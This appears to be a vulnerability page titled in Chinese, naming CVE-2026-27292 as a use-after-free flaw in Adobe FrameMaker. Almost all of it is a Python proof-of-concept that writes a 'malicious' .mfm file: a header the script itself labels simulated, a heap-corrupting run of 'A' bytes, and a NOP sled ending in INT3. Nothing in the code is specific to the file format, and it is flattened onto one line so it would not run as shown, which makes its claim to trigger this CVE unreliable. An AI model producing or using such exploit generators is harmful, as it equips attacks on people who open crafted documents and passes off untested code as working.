CVE-2026-27292 Adobe FrameMaker释放后重用漏洞

#!/usr/bin/env python3 # Proof of Concept generator for CVE-2026-27292 # This script generates a malformed file to trigger the Use After Free vulnerability. import struct def generate_malicious_file(filename): with open(filename, 'wb') as f: # File Header (Simulated) f.write(b'MFM') # Malicious chunk designed to corrupt heap metadata # Triggering the free operation payload = b'A' * 0x100 f.write(struct.pack('<I', len(payload))) f.write(payload) # Use After Free Trigger Data # This data attempts to hijack the freed pointer uaf_trigger = b'\x90' * 0x50 + b'\xCC' # INT3 instruction for debugging f.write(uaf_trigger) print(f"[+] Malicious file generated: {filename}") if __name__ == "__main__": generate_malicious_file("cve_2026_27292_poc.mfm")